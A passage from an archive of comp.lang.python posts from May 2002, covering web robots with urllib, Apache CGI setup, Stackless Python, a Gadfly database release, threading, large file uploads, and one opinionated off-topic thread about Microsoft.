<19eteugnbcppsh0s1kj7gvjr3jvtvfldt2@4ax.com> References: <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2@4ax.com> Message-ID: <20020524232918.GA3126@lilith.my-fqdn.de> * Giulio Cespuglio [2002-05-24 22:05 +0000]: > Hi there, > > My aim is to automatically get specific pieces of information from a > website, simulating the behaviour of a user filling in HTML forms and > clicking buttons (a web robot?), then embed them in my HTML page. > In other words, the pages I need to access are not accessible from a > standard URL. > The other part of the problem is of course parsing the resulting HTML > and extracting the pieces of info I need. > > Does Python provide libraries that could help me? Yes, chances are that everything you need for this is already available in Python's standard library: - urllib, urllib2, Cookie for the web robot part - htmllib, sgmllib for the HTML parsing part If your HTML input is XHTML, and thus valid XML (unfortunately, that's unlikely), you could also use Python's XML libraries for parsing HTML. > give me some keywords/pointers? An example for submitting a form with urllib is included in the Python documentation: http://www.python.org/doc/current/lib/node307.html > I'm completely new to Python. I would of course set up my web server > under windows (Apache?) and the necessary plugin. Apache is easy to set up. Add this line at the end of Apache's httpd.conf to enable Python CGI support: ScriptInterpreterSource Registry Then you can put Python CGI scripts ending in .py in Apache's cgi-bin directory. > Can you think of a better way of doing this? Another scripting > language perhaps? I've heard that Perl has a nice module for writing web robots, but don't remember how it's called. I'd not recommend to learn Perl, though. But maybe your brain is wired differently than mine and you'll like it. I'm pretty confident that you'll like Python better :-) Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 12.1 ?C Wind: 3.4 m/s From rob Tue May 21 14:53:18 2002 From: rob (Rob Andrews) Date: Tue, 21 May 2002 18:53:18 GMT Subject: Grep in Python References: Message-ID: > I tried looking for a "Grep" type utility module in jython/python. > But I did not find any. Is there one available that can be used? > > I saw that lots of people have implemented their own version of grep > and most have called it "pygrep". (Am I right about that?). Since this Programming_Python, 2nd ed. by the venerable Mark Lutz has such a utility in Chapter 18, along with about 1200 other pages of goodies. Rob From debl2noNospammywhammy at bellatlantic.net Sun May 26 17:29:35 2002 From: debl2noNospammywhammy at bellatlantic.net (David Lees) Date: Sun, 26 May 2002 21:29:35 GMT Subject: Need help starting to learn Python. References: <63f2fcbe.0205261315.724c97ad@posting.google.com> Message-ID: <3CF153F8.6335E54A@bellatlantic.net> Look at http://www.python.org/ where you will find lots of links, particularly http://www.python.org/doc/Newbies.html and http://www.python.org/doc/Intros.html . Enjoy. I have found it a very helpful community in this group when occasionally needing help with specific problems. David Lees seraphim wrote: > > Hello, > > I am very interested in learning how to use Python. A while back I > became interested in learning it, but could not find resources in to > do so. My friend let me borrow his C book and I have got a little into > that, but as I was reading the statement about RC1 of Slackware 8.1, I > noticed a link to comp.lang.python. I decided to check it out. In > doing so my interest in Python has been spurred again. I was hoping > that someone here could point me to a really nice website to learn > Python with, like a tutorial. Also, book suggestions would be nice. > Please email me your links or reply to this post. > seraphim at linuxmail.org > > seraphim From jb at cascade-sys.com Sat May 4 23:57:50 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Sat, 04 May 2002 20:57:50 -0700 Subject: making python scripts backwards compatible References: <008601c1f3c9$4ed93b80$445d4540@Dell2> Message-ID: <3CD4ADBE.EE095B00@cascade-sys.com> Brian Quinlan wrote: > > He merely asks to maintain backward compatibility OR (!) be sure to > > document your version requirements at the top of your source. > > > > How can any reasonable person disagree? > > Determining your version requirements is too much to ask. I wrote the > module is question and, before reading this thread, I had no idea what > the version requirements were (1). Are patch writers also required to > test against multiple Python versions? You don't have to test or support them all. Just name one version guaranteed to work, e.g. the one you did the development under. This should not be a hardship for anybody. This might be overly restrictive and cause people to reject your offering when in fact it might work for them. But it would head off the case where somebody invests hours only to discover a fundamental incompatibility, a much bigger problem IMHO. And in the case where someone wants to take the risk, the discrepancy between the version they're running and the one you did development under gives them some indication of how big a challange they're up against. The fact that you have no "interest" in documenting the system requirements for your software doesn't make the original request unreasonable. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From emile at fenx.com Wed May 15 07:36:35 2002 From: emile at fenx.com (Emile van Sebille) Date: Wed, 15 May 2002 11:36:35 GMT Subject: Multibyte Character Surport for Python References: <83d6vzgngy.fsf@panacea.canonical.org> <70d8ab2e.0205150323.6c111961@posting.google.com> Message-ID: <7LrE8.23991$L76.1842@rwcrnsc53> Sigvaldi Eggertsson > Emile van Sebille > > Or like Iceland, which rightly sets the blame at Bill Gates' doorstep. ;-) > > http://seattletimes.nwsource.com/news/technology/html98/icel_063098.html > > When the article was published it was already out of date, Microsoft > put out an Icelandic version of Windows 98 just after this was > written. My apologies. Out of curiosity, do you know if it is still policy in Iceland to keep foreign words out? -- Emile van Sebille emile at fenx.com --------- From Mike_Bohr at gmx.net Mon May 13 07:07:44 2002 From: Mike_Bohr at gmx.net (Bohr, Mike) Date: Mon, 13 May 2002 13:07:44 +0200 Subject: Tkinter Configuration Message-ID: Hi there, How can I configure the Tkinter??? From shalehperry at attbi.com Sun May 12 23:26:38 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sun, 12 May 2002 20:26:38 -0700 (PDT) Subject: python, a scripting language? In-Reply-To: Message-ID: > > Now, if he wants to distinguish between 'languages that compile to native > machine code' and those which don't, then python does indeed need an > interpreter to be around for execution (even of pre-compiled byte code). But > as far as I know java falls in the same category (jvm needed) although there > could be native binary java compilers, I simply have no idea. Relying on an > interpreter can be a drawback or an asset, that depends on the problem at > hand. > the 3.0 series of gcc has a gcj compiler. It still requires the java class library and language utilities (ie. garbage collection and the like) so there is a non trivial runtime involved. From jaf at lcsaudio.com Fri May 3 02:33:25 2002 From: jaf at lcsaudio.com (jaf) Date: Thu, 02 May 2002 23:33:25 -0700 (-0700) Subject: Message queueing Message-ID: <53306300330-BeMail@sugoi> Hi Noah, If I may be so bold as to plug my own software, I think you will find that MUSCLE does a good job of implementing message-queues-over- TCP. It has lots of other features as well, which I won't recount here--but I will note that it is open source, and includes a Python implementation of the client API. http://www.lcscanada.com/muscle/index.html Cheers, Jeremy >It's sad, but the importance of message queues does not seemed to have > been >picked up by the open source community. As far as I can tell there are > no >open source message queues... I don't have a job, maybe someone wants > to >help me write one :-) From lunxian at yahoo.com Sun May 19 22:50:05 2002 From: lunxian at yahoo.com (lunxian) Date: 19 May 2002 19:50:05 -0700 Subject: why the code error? Message-ID: <180fb736.0205191850.4aaee16@posting.google.com> i'm a newbie of python. i encounter a problem in my programming. here is my program. when it's running, a IOError always raised. why? and how can i get more detail error message of the exception? import os import sys def Parser(filename): lines = None try: fsock = file("forparser.py","r",0) try: lines = fsock.readlines() finally: fsock.close() except IOError: print IOError.__str__ return for line in lines: print line if __name__ == "__main__": Parser("c:\forparser.py") From logiplexsoftware at earthlink.net Thu May 23 13:23:54 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Thu, 23 May 2002 10:23:54 -0700 Subject: Threading unfairness In-Reply-To: <20020518135440.2621.h004.c000.wm@mail.kimball.net.criticalpath.net> References: <20020518135440.2621.h004.c000.wm@mail.kimball.net.criticalpath.net> Message-ID: <20020523102354.15c67b98.logiplexsoftware@earthlink.net> On Sat, 18 May 2002 13:54:36 -0700 (PDT) Matt Kimball wrote: > While writing some multithreaded GUI code with ActivePython 2.2.1 under Windows > XP, on a single processor machine, and I noticed that my user-interface thread > was very unresponsive when I had a background computation thread going. This > annoyed me. It seemed like the main thread where the GUI code was running was > being starved of CPU time. Since there doesn't seem to be any way to set thread > priorities with Python, I "fixed" the problem with inserting frequent > 'time.sleep(0)' calls in my compute-intensive thread, and that seemed to give my > main GUI thread more time to execute when a user-interface event occurred. I wonder if sys.setcheckinterval() would help. I've seen it in the docs but haven't tested it myself. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From pyth at devel.trillke.net Mon May 6 16:00:37 2002 From: pyth at devel.trillke.net (holger krekel) Date: Mon, 6 May 2002 22:00:37 +0200 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <91acf731.0205061027.651bb8f6@posting.google.com> References: <91acf731.0205030642.580a9c59@posting.google.com> <91acf731.0205061027.651bb8f6@posting.google.com> Message-ID: <20020506200037.GK4604@devel.trillke> Jason Voegele wrote: > holger krekel wrote in message news:... > > Alex Martelli wrote: > > > (... lots of interesting stuff ...) > > > One day I'd really love to co-author a *balanced* comparison > > > of Python's and Ruby's pluses and minuses -- "co-author" 'cause > > > I'd need to find a partner in crime who admires Python but > > > still prefers Ruby, just as I admire Ruby but still prefer > > > Python -- and one "into" Ruby's triviae and minutiae as well > > > as overall philosophy as much as I'm "into" Python's. Oh well, one day... > > > > i really hope that this 'one day' will come. Last time i checked > > i couldn't find much of any comparison. Just one or two meaningless > > paragraphs in ruby's documentation, IIRC. > > You can find a brief but fairly balanced comparison at: > > http://www.rubycentral.com/faq/rubyfaq-2.html > > It doesn't go into the amount of detail that you'd like, but it's > certainly better than that infamous and regrettable Bruce Eckel piece. > :-) thanks for inserting the pointer. That is exactly what i was refering to: just a bunch of quite superficial high-level statements IMO. In the end i am probably going to program bigger stuff with Ruby to get a deeper impression... holger From rjones at ekit-inc.com Sun May 12 21:25:38 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Mon, 13 May 2002 11:25:38 +1000 Subject: GadflyB5 1.0.0 pr1 - SQL Relational Database in Python Message-ID: <200205131125.38131.rjones@ekit-inc.com> Note: This is a prerelease for people to download the new version and kick the tyres. Please send all bugs to the bug tracker below. All current users of gadfly are encouraged to download this new version and try it against a backup of their database. Please make a backup. All effort has been made to test this release, but there's no guarantee. ====================================================== GadflyB5 1.0.0 pr1 - SQL Relational Database in Python ====================================================== Gadfly is a relational database system implemented in Python based on the SQL Structured Query Language. This is the GadflyB5 release - like a NG release only better :) Note: Aaron Watters is not the contact for this project. The contact for this project is richard at users.sourceforge.net. Gadfly requires python 2.1 or later for correct operation. Get it at: http://sourceforge.net/project/showfiles.php?group_id=662 This is the first Gadfly release in a long time, and has some significant changes. Mostly it's the same old Gadfly, but: - updated to use new regular expression engine (regex -> re migration) performed by the fine folk at the Zope Corporation (http://www.zope.com/). - kjbuckets C extension module maintenance and updates (see the kjbuckets documentation for details) - documentation cleanup - cleanup and reorganisation of the gadfly modules, including: - migration to distutils-based installation - cleanup of SQL grammar marshalling - more strict (in places) unit/regression testing - general cleanup of the code itself - cleanup of networking code (note: gfclient argument list has changed!) Please read CHANGES.txt for a complete list of changes since the last release. There is no ongoing support available for usage, unless someone volunteers. If you have found a bug, please submit an issue to the bug tracker at: http://sourceforge.net/tracker/?atid=100662&group_id=662 If you've got a great idea for gadfly, and have the time to work on it, please contact the gadfly project admins. From newsfroups at jerf.org Tue May 7 11:07:54 2002 From: newsfroups at jerf.org (Jeremy Bowers) Date: Tue, 07 May 2002 15:07:54 GMT Subject: HTTP or alternative upload for large files References: <0gofdukc6c10c0lg2t6qcadov2mqt2a7nu@4ax.com> Message-ID: <3CD7EE69.7040902@jerf.org> robin at execulink.com wrote: > I am attempting to upload large files (think 500 MB) through a web > form using a Python CGI process. Building on a previous reply: You'll have to poke around the internals of Apache (or find somebody who can) and see if theres a way to intercept the stream before it's done being processed; perhaps PHP or something can do that, depending on how it's configured. The other possibility is to create your own webserver, in Python if you like, that can stream the data from a client any way you like. It is not hard to create a web server, even from scratch, but the HTTP server modules in Python may be able to help. (They may also make the same assumption that Apache does about being able to load the whole request before passing it on to you.) If they do not help, it is easy to create a server. Basically, put this server on another port, and have people only upload files to it. This is simple, but you can find information on it elsewhere. The point of doing this is you'll get a socket, which you can pull information off of and do whatever you want, rather then a .5GB lump that's causing timeouts (and what happens if multiple people do this at once?). From whisper at oz.net Tue May 21 21:45:04 2002 From: whisper at oz.net (David LeBlanc) Date: Tue, 21 May 2002 18:45:04 -0700 Subject: "One Bullet is never enough" Paper In-Reply-To: <3CE9FF2F.DD6CF828@cascade-sys.com> Message-ID: > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of James J. Besemer > Sent: Tuesday, May 21, 2002 1:03 > To: David K. Trudgett > Cc: python-list at python.org > Subject: Re: "One Bullet is never enough" Paper > > I'm no big fan of MS but as a businessman I appreciate and respect their > position in the market. It's stupid to ignore their installed base. > Whether you agree or not, their economic power is something to be reckoned > with. The value you get for what you pay is one of the best bargains in > the PC world. Like Intel, they're relentlessly competitive AND they take > a balanced view of running a business (paying attention to finance, > marketing, sales, strategic planning, HR and other functions in addition > to technology), which is the main reason they have been successful. It's > the quintessential American Success Story -- after all they started out > just 12 geeks in a room, writing software for the 8008. From a purely > meritocratic standpoint, they deserve to be where they are today. From a > pure Zen, go-with-the-flow standpoint, WinTel is the #1 platform to target > for commercial products. There are other choices and you don't have to > use Microsoft products, but like it or not MS IS a big part of our reality > today and its likely to be around for the rest of our lives. Ah yes, respect for Microsoft. I suppose they deserve the same "respect" as any mobster or shark. Microsoft's main claim to their position is a willingness to practice illegal and predatory marketing upon their customers as demonstrated by the anti-trust suite. BTW, Microsoft didn't start out as "12 geeks...". It was Bill Gates and Paul Allen in a dorm room at Harvard (of which, Gates dropped out) working on 8080 code for the Altair 8800 microcomputer (Gates had interned there the summer before IIRC). MS has been primarily successful because momma Gates served on the same charity board as some big IBM bigwig's wife and who got him the lead for the PC work (AND because Gary Kildahl was too much of a space cadet to see the opportunity, not to mention the culture clash with IBM). At the point where they got it, they where pretty much out of work after the Apple and TRS-80 Basic ROM work. I believe they screwed Apple and Radio Shack too (I recall there was some back and forth between Apple and Microsoft about floating point Basic, but the details elude me after so long). We know they screwed IBM over both DOS and OS/2. (To be fair, IBM did leave the door open for loosing DOS since they didn't see the potential at the time they signed the contract.) The value you get for what you pay is one of the best bargins in the PC world? Actually, if you do the math, it's _infinately_ worse then... oh, say... LINUX wich is FREE for the downloading. The ratio of one cent to zero cents is infinite! With MS you pay a lot more then one cent. Of course, it is nice being in that 90% profit margin market. 90% of Microsoft's revenue stream from software comes from the mere act of granting use permission - no physical product is actually produced. I bet GM would love to be in a market where they could grant permission to drive a car without actually having to produce the car! I won't get into the quality or lack thereof of Microsoft products, but suffice it to say an OS which verbosely pretty much says "it's broken, buy more stuff to fix it" which is what NT and 2000's "help" systems do does not make me believe that it's "mission critical and enterprise ready" (you did want to spend the extra $200-$300 for the 2000 Resource kit with the real diagnostic tools and messages in it didn't you?). > From this standpoint, people who view MS as "evil" or some big scary bogey > man, ARE simply being childish, neglecting many practical and realistic > issues. You want bogey men? What about IBM, who spends more in marketing > each year than MS grosses in revenue? What about Big Oil, controlling > about 10% of the GNP? By last count, 100% of US oil companies today are > direct descendants of Rockafeller's Standard Oil. What about Big > Government? 20-25% of the GNP. MS's large fraction of the computer > industry is nothing by comparison. Damn! the US government is "being childish". While this isn't news (considering who the presichimp is), I doubt it was a temper tantrum that prompted them to prosecute AND WIN an anti-trust suite against Microsoft. Alas, it looks as though Microsoft's wiggling and big payouts in the 2000 elections (a first for the company) has enabled them to wait for a favorable administration to negotiate their "punishment" little though it may be. Kudos to the states for not tamely laying down with the Justice Department! I'm not in Oil or government. I am in computers, so that's my focus of interest. BTW, speaking of the oil companies, if their GDP (to be accurate since "GNP" is obsolete) fraction is so small, why are we busily fighting a war in Afghanistan that will enable them to have the favored pipeline route from the Tajikistan oil fields safeguarded? There is so much that has worked out so well for the government and big oil from 9/11. Too bad they didn't have a clue that _someone_ might use airplanes to fly into structures - although the Japanese did it 55 years before in WW II. BTW, I doubt your claim that "100% of US oil companies are descended from Rockafeller's Standard Oil". Would you consider Arco a US company? They're owned by British Petroleum (BP). Actually, it's moot - they're all so mult-national now that debate about origions are pointless. (One of the great things about being a multi-national is you can just move your base of operations to where the legislative climate is either suitable to your liking or can be bought cheap.) > Incidentally, re. C#, MS came out with it as a product well AFTER Sun > threatened to cancel their license to use Java (eventually making good on > this threat). So in forcing MS to abandon Java (rather than negotiate a > settlement), one could argue it's really Sun Microsystems rather than MS > that fucked up the wonderful world of "open standards" in this narrow > regard. Yes indeedy, Sun did revoke Microsoft's license - after they won a court case demonstrating that Microsoft violated said license. Nobody forced Microsoft to abandon Java except they themselves with their insistance on violating the terms of the license agreement they signed. I see C# as just one more case of Microsoft "embracing and extending" (think of being grabbed and bent over a desk) Java by making a proprietary language with a laughable and cynical nod towards open sourcing. While the language might be open source, OS features it depends on are either not open or not generally available or both. C# won't ever run on non-Windows platforms as well as on Windows given that C# is intimately dependent on COM, which costs $$ on non-Windows platforms. As has been mentioned on the mailing list, it's worth noting that Microsoft is persuing patents for features of C#, and that will make it even more unavailable to the open source community. > Regards > > --jb > > -- > James J. Besemer 503-280-0838 voice > http://cascade-sys.com 503-280-0375 fax > mailto:jb at cascade-sys.com > > From claird at starbase.neosoft.com Thu May 9 09:57:20 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 9 May 2002 08:57:20 -0500 Subject: Stackless python + official python ? References: <3CDA4598.27A53D75@vip.fi> Message-ID: <0C4CFEC35C95D396.3952D52C85961006.F06F8209EC82700F@lp.airnews.net> In article , Michael Hudson wrote: >Pekka Niiranen writes: > >> After reading "Continuations and Stackless Python" by Christian >> Tismer I started wondering if there are any plans to merge his >> efforts to official Python release ? > >Not at present, I believe. > >> Or is it too late because user and application base of the language >> are allready so wide that pure engineering decisions for the >> language development are impossible ? > >The original implementation was too intrusive and baroque to be >considered (albeit an amazing bit of work). The current one relies on >assembly tricks; it's unlikely that such things would be tolerated in >the core. > >For much more on the subject, feel free to hit google. . . . Let me say this a different way: Christian, and even more than he, several of the Stackless users, pushed *hard* to move Stackless into the core Py- thon distribution. At one time last year, I sincerely believed that a substantial part of Stackless would appear in a 2.1 or so release. Guido was reluctant all along; more precisely, he had specific and important reservations. Eventu- ally, Christian backed Stackless out of 2.x development. I don't think he's particularly on a trajectory to bring it back to the core distri- bution. Maybe Guido'll decide Stackless belongs in. Maybe Christian will decide he wants to do whatever is necessary to get Stackless in. More likely, I think, is that Christian continues to maintain Stackless as an alternate implementation. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From michael at dynamine.net Thu May 16 22:11:21 2002 From: michael at dynamine.net (Michael S. Fischer) Date: Thu, 16 May 2002 19:11:21 -0700 Subject: Stupid string formatting question In-Reply-To: References: Message-ID: <20020517021121.GA8368@attrition.dynamine.net> On Thu, May 16, 2002 at 07:03:47PM -0700, Sean 'Shaleh' Perry wrote: > > OK, here's an example. > > > > >>> def x(): > > ... return "a", "b" > > ... > > >>> print "%s/%s/%s/%s" % ("hi", "there", x()) > > Traceback (most recent call last): > > File "", line 1, in ? > > TypeError: not enough arguments for format string > > > > you just returned ("hi, "there", ("a", "b")) which is len(3) not 4. OK. What can I do to make this work? -- Michael S. Fischer / michael at dynamine.net / +1 650-533-4684 Lead Hacketeer, Dynamine Consulting, Silicon Valley, CA From dialtone#/N0SPAM/# at aruba.it Thu May 23 17:49:36 2002 From: dialtone#/N0SPAM/# at aruba.it (Dialtone) Date: Thu, 23 May 2002 23:49:36 +0200 Subject: Parsing command line options References: <3nmqeu837rvb7laatj4pfaeblgu853siu1@4ax.com> Message-ID: On Thu, 23 May 2002 14:12:37 -0700, Daniel Klein wrote: >Am I on the right track or am I derailed? ;-) You're on the right way sys.argv[0] is the script name sys.argv[1:] are all the options. In this case: c:\test\mytest.py option1 option2 option3 sys.argv[0] will be mytest.py and sys.argv[1:] ['option1','option2','option3'] HTH bye -- try: troll = "Brain" except TypeError, data: troll.plonk() Co-Responsabile Hardware Information & Technology http://hit.edengames.net From matias.guijarro at club-internet.fr Thu May 23 10:45:27 2002 From: matias.guijarro at club-internet.fr (Matias GUIJARRO) Date: Thu, 23 May 2002 16:45:27 +0200 Subject: A Jython question Message-ID: <3ced0087$0$21593$7a628cd7@news.club-internet.fr> Hello ! :-) I'm relatively new to Python, and I'm seduced by the possibilities of adding a Python scripting engine in my Java app, so I tried Jython a few days ago. I'd like to have a Jython interpreter "textbox" in the GUI of my Java app ; for the moment the only thing I managed to do is having a terminal window with a Jython interpreter while my app is running. I couldn't find much help in the Jython documentation, nor tutorials on the web, so I hope some of the Python gurus here will be able to help me ! Thanks in advance, Matias GUIJARRO. From j.travnik at sh.cvut.cz Tue May 7 15:47:34 2002 From: j.travnik at sh.cvut.cz (Jakub Travnik) Date: Tue, 07 May 2002 21:47:34 +0200 Subject: Result of I need your experience - classification and comparison of languages References: Message-ID: <3CD82F56.8060601@sh.cvut.cz> Yvan Radenac wrote: [snip] > You can find, in french, the report at > http://www.cnamoo.net/uv/b5/ftp/mini/radenac.pdf > > But, if you are interesting in, i can post the sheets in english. > > Regards, > Yvan Hello, I have looked at it even not speaking frances. Why is Andy Hunt written in Ruby item on page 12(physical)/11(logical)? I think Yukihiro Matsumoto aka Matz should be there. Or is there a reason for Andy being there? Jakub Travnik jabber://jtra at jabber.com From jjl at pobox.com Sun May 12 14:39:29 2002 From: jjl at pobox.com (John J. Lee) Date: Sun, 12 May 2002 19:39:29 +0100 Subject: Python 2.2.1 Windows / install variables ? In-Reply-To: <3CDE93AB.4E4607D0@usc.edu> References: <3CDE7290.3E28D9BD@usc.edu> <3CDE93AB.4E4607D0@usc.edu> Message-ID: On Sun, 12 May 2002, Rich Pinder wrote: > I dont understand why they'd have such a 'selection' screen then. Because the same installer is used for even pure-Python code. The installers are generated automatically. Still, you're right that it could be clearer. [...] > Have checked the THREE add ons (that all must seem to use the same > windows installer code) - and no words about this in their faq's. The filename usually gives a clue, if nothing else: PyWhatsisname-0.3-Py2.2.exe -- or smth. From pyth at devel.trillke.net Tue May 14 09:51:21 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 14 May 2002 15:51:21 +0200 Subject: High performance Python web-app In-Reply-To: ; from t@chabry.caltech.edu on Tue, May 14, 2002 at 06:37:03AM -0700 References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Message-ID: <20020514155121.L28033@prim.han.de> Titus Brown wrote: > In article , > holger krekel wrote: > >> > My question is: are there any *stable* solutions available to enable > >> > fast ptyhon web-apps running on Apache 2/Win32? (Mod_python only runs on > >> > Apache 1.3 as far as I know and Mod_snake seems to have been taken off > >> > line....) > >> > > >> > >> A recent thread seemed to suggest the best way would simply be to have > >> Apache map a subset of URLs to a pure-Python server process. > > > >the configuration option is 'ProxyPass': > > > > ProxyPass /sub/name/ http://localhost:7000 > > If you're going to go with a separate setup for the Python processes, > you should take a look at AOLserver/PyWX (http://pywx.idyll.org/). I > also have instructions on how to map AOLserver into an Apache namespace > with the Proxy stuff at http://www.idyll.org/~t/www-tools/. > > Pure Python Web serving is butt slow; if speed is a concern, you really > don't want to do things that way ;). (i justed wanted to complete the information that Steve has given.) I haven't done any speed comparison. do you know of any with the mentioned setups? holger From donnal at donnal.net Mon May 6 13:19:43 2002 From: donnal at donnal.net (Donnal Walter) Date: 6 May 2002 10:19:43 -0700 Subject: iterating over a derived list Message-ID: <918bc22f.0205060919.70e8812f@posting.google.com> In the code snippet below, I have derived a class from the built-in type "list" to implement 'type checking' for objects placed in the list and serialization of the list to and from an XML file. I also want to be able to iterate over the retrieved list using Prev() and Next(). My question is this: is there a more efficient way to implement this behavior than the methods below (or some built-in way to do this)? Donnal Walter Arkansas Children's Hospital ======= class ElementList(list): def __init__(self): list.__init__(self) # ... additional private attributes here self.__index = 0 def Append(self, object): """Append object to the list with 'type checking'.""" # ... implementation code here def Store(self, writer): """Store serialized content to designated xmlWriter.""" # ... implementation code here def Retrieve(self, reader): """Retrieve serialized data from designated xmlReader.""" # ... implementation code here def Reinit(self): del self[0:] # empty the list self.__index = 0 def Prev(self): """Return the previous element in the list.""" if self.__index > 1: self.__index += -1 return self[self.__index - 1] else: return None def Next(self): """Return the next element in the list.""" if self.__index < len(self): self.__index += 1 return self[self.__index - 1] else: return None From logiplexsoftware at earthlink.net Fri May 24 15:02:36 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Fri, 24 May 2002 12:02:36 -0700 Subject: uspp In-Reply-To: References: Message-ID: <20020524120236.3839bb9d.logiplexsoftware@earthlink.net> On Thu, 23 May 2002 19:54:05 +0000 (UTC) Adam Przybyla wrote: > David LeBlanc wrote: > > What is the error message? > ... try pyserial, it's better. Regards In what way? I've been using uspp without problem but haven't looked at pyserial. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From starx at pacbell.net Thu May 9 02:08:05 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 9 May 2002 06:08:05 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <3CDA056B.E213A4A3@engcorp.com> Message-ID: Peter Hansen || Wed 08 May 2002 10:13:15p: > Bryan Richard wrote: >> >> Given all this, does anyone have an opinion on what the consumer >> interest in a Python periodical might be? Keep it small; keep it on >> the web? >> >> My thinking has always been that Py, and subsequently, Python, would >> reach more people if it were in a bookstore. Perhaps I'm wrong. > > Maybe negotiate to make it an insert in some reputable existing > journal? This isn't really an area i'm familair with, but aren't most techny publications reputible enough to call themselves journals the things that genereally only come with a 100+$/yr membership in some org? -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From phd at phd.pp.ru Tue May 7 08:49:27 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 7 May 2002 16:49:27 +0400 Subject: survey: is shelve broken? should it be fixed? In-Reply-To: ; from loewis@informatik.hu-berlin.de on Tue, May 07, 2002 at 02:34:53PM +0200 References: Message-ID: <20020507164927.I3761@phd.pp.ru> On Tue, May 07, 2002 at 02:34:53PM +0200, Martin v. L?wis wrote: > I wouldn't call the feature 'smart' modify-in-place? Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From jeff at ccvcorp.com Fri May 10 18:50:14 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Fri, 10 May 2002 15:50:14 -0700 Subject: won't recognize functions in script References: <3cd9958d@news.cc.umr.edu> Message-ID: In article <3cd9958d at news.cc.umr.edu>, Carl says... > ... When I define > functions python gives me 'NameError: name 'ascii_val' is not defined' > > this piece of my code is this: > > > print ch, ascii_val(ch) # ch is just a character read from a file > > def ascii_val(char): > # returns 1-26 for A-Z or 27 for a space [...] Functions must be defined before they are executed. The snippet you posted will try to call ascii_val() before the interpreter has seen the 'def ascii_val(char)...' block. That's where your name error is coming from. Note that the def must come before the attempt to *execute* the function. You can refer to ascii_val() within another function def, before it is defined, as long as that second function is not executed before the interpreter has processed ascii_val()'s def. So, for example, this will work: def print_ascii(mystring): for ch in mystring: print ch, ascii_val(ch) def ascii_val(char): # ... (as defined above) print_ascii("testing") As a side note, you might wish to rename your function, because it's not returning an ascii value -- the ascii value is what is returned from ord(char), and then you're massaging that into something else. Picking accurately descriptive function names will make your code *much* less confusing later on... :) -- Jeff Shannon Technician/Programmer Credit International From erno-news at erno.iki.fi Thu May 9 13:18:27 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 09 May 2002 20:18:27 +0300 Subject: Multibyte Character Surport for Python References: Message-ID: In article , loewis at informatik.hu-berlin.de (Martin v. L?wis) writes: | If they don't know the latin alphabet, they can't use Python even if | identifiers can be non-ASCII, since they keywords would still be | written with Latin letters. there are so few keywords that their meaning is easily learned. granted, the error messages and such are still in english, but they could be made localizable. -- erno From toddariss at yahoo.com Tue May 28 18:21:08 2002 From: toddariss at yahoo.com (tariss) Date: 28 May 2002 15:21:08 -0700 Subject: mod_python OS functions help? Message-ID: <9c2461b0.0205281421.3eb785c8@posting.google.com> I've just recently set up mod_python/apache on my Win2K box. I have a very simple script which is used to execute a "make" which then builds a VC++ project. The script works when executed via the command line but not when initiated via web page and run as a mod_python script. When run via mod_python there are no errors generated and all other non-os related functions seem to work as expected, but the os related ones such as the exec* functions seem to be ignored. I'm guessing there is some sort of "sandbox" security issue going on here that may be an apache issue. Does anyone have any ideas what to do about this? thanks for the help Todd From martin at v.loewis.de Sat May 11 09:48:36 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 11 May 2002 15:48:36 +0200 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: Message-ID: "David LeBlanc" writes: > > It is well-formed, but it is invalid - check the XML spec. It violates > > at least one validity constraint, namely that the root element must be > > declared. > > XML is used far more often in "well formed" contexts than in "valid" > contexts. This is hair splitting. I just said it is "invalid XML", and that's what it is. Ask any XML expert - they will all agree on the meaning of "valid" and "invalid" in the context of XML. > Let's see, you're saying here that only emacs supports it trivially: idle > needs a patch and vim uses an alternate syntax (which, below, you say is > broken), which isn't clearly mentioned in the PEP I believe? It clearly is mentioned: look at the regular expression. Also, I said (but I can repeat it here) that notepad.exe supports the PEP trivially, as does Visual Studio .NET. I guess Microsoft Word also supports the PEP, but few people will use it to edit Python source code. > Can you honestly say that this syntax offers a more flexible base > for possible future "smart comments"? No. I dearly hope that there won't be any further "smart comments". I once asked for the introduction of a directive statement as proper syntax, but that PEP was rejected. > Actually, for something as important as encoding, I think using "smart > comments" for a feature that is known to the compiler is a mistake and > "pragma encoding='encoding_name'" makes far more sense See PEP 244. Been there, done that. Regards, Martin From philh at comuno.freeserve.co.uk Mon May 20 03:21:09 2002 From: philh at comuno.freeserve.co.uk (phil hunt) Date: Mon, 20 May 2002 08:21:09 +0100 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <23891c90.0205150201.6cd8193e@posting.google.com> <83y9ejw6cp.fsf@panacea.canonical.org> Message-ID: On Sun, 19 May 2002 21:56:08 -0700, Tim Roberts wrote: >Kragen Sitaker wrote: > >>paul at boddie.net (Paul Boddie) writes: >>> In other words, some things have to be prioritised so that the whole >>> system 